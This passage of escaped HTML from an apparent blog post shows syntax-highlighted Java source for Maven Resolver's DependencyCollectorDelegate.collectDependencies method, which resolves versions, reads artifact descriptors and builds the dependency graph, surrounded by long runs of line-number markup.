class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eabstract\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollector\u003c/span\u003e \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e requireNonNull(session, \u003cspan class=\"hljs-string\"\u003e\u0026quot;session cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e requireNonNull(request, \u003cspan class=\"hljs-string\"\u003e\u0026quot;request cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e session = optimizeSession(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild(request.getTrace(), request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eCollectResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCollectResult\u003c/span\u003e(request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyTraverser\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edepTraverser\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getDependencyTraverser();\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionFilter\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003everFilter\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getVersionFilter();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eroot\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getRoot();\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repositories = request.getRepositories();\u003cbr\u003e List\u0026lt;Dependency\u0026gt; dependencies = request.getDependencies();\u003cbr\u003e List\u0026lt;Dependency\u0026gt; managedDependencies = request.getManagedDependencies();\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, Object\u0026gt; stats = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashMap\u003c/span\u003e\u0026lt;\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime1\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e\u003cbr\u003e DefaultDependencyNode node;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (root != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e List\u0026lt;? \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersion\u003c/span\u003e\u0026gt; versions;\u003cbr\u003e VersionRangeResult rangeResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRangeRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erangeRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRangeRequest\u003c/span\u003e(\u003cbr\u003e root.getArtifact(), request.getRepositories(), request.getRequestContext());\u003cbr\u003e rangeRequest.setTrace(trace);\u003cbr\u003e rangeResult = versionRangeResolver.resolveVersionRange(session, rangeRequest);\u003cbr\u003e versions = filterVersions(root, rangeResult, verFilter, \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultVersionFilterContext\u003c/span\u003e(session));\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionRangeResolutionException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, e.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersion\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversion\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versions.get(versions.size() - \u003cspan class=\"hljs-number\"\u003e1\u003c/span\u003e);\u003cbr\u003e root = root.setArtifact(root.getArtifact().setVersion(version.toString()));\u003cbr\u003e\u003cbr\u003e ArtifactDescriptorResult descriptorResult; \u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorRequest\u003c/span\u003e();\u003cbr\u003e descriptorRequest.setArtifact(root.getArtifact());\u003cbr\u003e descriptorRequest.setRepositories(request.getRepositories());\u003cbr\u003e descriptorRequest.setRequestContext(request.getRequestContext());\u003cbr\u003e descriptorRequest.setTrace(trace);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (isLackingDescriptor(root.getArtifact())) \u0026#123;\u003cbr\u003e descriptorResult = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorResult\u003c/span\u003e(descriptorRequest);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e descriptorResult = descriptorReader.readArtifactDescriptor(session, descriptorRequest);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ArtifactDescriptorException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, e.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e root = root.setArtifact(descriptorResult.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!session.isIgnoreArtifactDescriptorRepositories()) \u0026#123;\u003cbr\u003e repositories = remoteRepositoryManager.aggregateRepositories(\u003cbr\u003e session, repositories, descriptorResult.getRepositories(), \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e dependencies = mergeDeps(dependencies, descriptorResult.getDependencies());\u003cbr\u003e managedDependencies = mergeDeps(managedDependencies, descriptorResult.getManagedDependencies());\u003cbr\u003e\u003cbr\u003e node = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyNode\u003c/span\u003e(root);\u003cbr\u003e node.setRequestContext(request.getRequestContext());\u003cbr\u003e node.setRelocations(descriptorResult.getRelocations());\u003cbr\u003e node.setVersionConstraint(rangeResult.getVersionConstraint());\u003cbr\u003e node.setVersion(version);\u003cbr\u003e node.setAliases(descriptorResult.getAliases());\u003cbr\u003e node.setRepositories(request.getRepositories());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e node = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyNode\u003c/span\u003e(request.getRootArtifact());\u003cbr\u003e node.setRequestContext(request.getRequestContext());\u003cbr\u003e node.setRepositories(request.getRepositories());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e result.setRoot(node);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etraverse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e root == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser.traverseDependency(root);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eerrorPath\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (traverse \u0026amp;\u0026amp; !dependencies.isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDataPool\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epool\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDataPool\u003c/span\u003e(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyCollectionContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econtext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyCollectionContext\u003c/span\u003e(\u003cbr\u003e session, request.getRootArtifact(), root, managedDependencies);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultVersionFilterContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionContext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultVersionFilterContext\u003c/span\u003e(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eResults\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresults\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eResults\u003c/span\u003e(result, session);\u003cbr\u003e\u003cbr\u003e doCollectDependencies(\u003cbr\u003e session,\u003cbr\u003e trace,\u003cbr\u003e pool,\u003cbr\u003e context,\u003cbr\u003e versionContext,\u003cbr\u003e request,\u003cbr\u003e node,\u003cbr\u003e repositories,\u003cbr\u003e dependencies,\u003cbr\u003e managedDependencies,\u003cbr\u003e results);\u003cbr\u003e\u003cbr\u003e errorPath = results.getErrorPath();\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime2\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyGraphTransformer\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etransformer\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getDependencyGraphTransformer();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (transformer != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyGraphTransformationContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econtext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyGraphTransformationContext\u003c/span\u003e(session);\u003cbr\u003e context.put(TransformationContextKeys.STATS, stats);\u003cbr\u003e result.setRoot(transformer.transformGraph(node, context));\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (RepositoryException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime3\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (logger.isDebugEnabled()) \u0026#123;\u003cbr\u003e stats.put(getClass().getSimpleName() + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.collectTime\u0026quot;\u003c/span\u003e, time2 - time1);\u003cbr\u003e stats.put(getClass().getSimpleName() + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.transformTime\u0026quot;\u003c/span\u003e, time3 - time2);\u003cbr\u003e logger.debug(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Dependency collection stats \u0026#123;\u0026#125;\u0026quot;\u003c/span\u003e, stats);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (errorPath != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, \u003cspan class=\"hljs-string\"\u003e\u0026quot;Failed to collect dependencies at \u0026quot;\u003c/span\u003e + errorPath);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!result.getExceptions().isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan 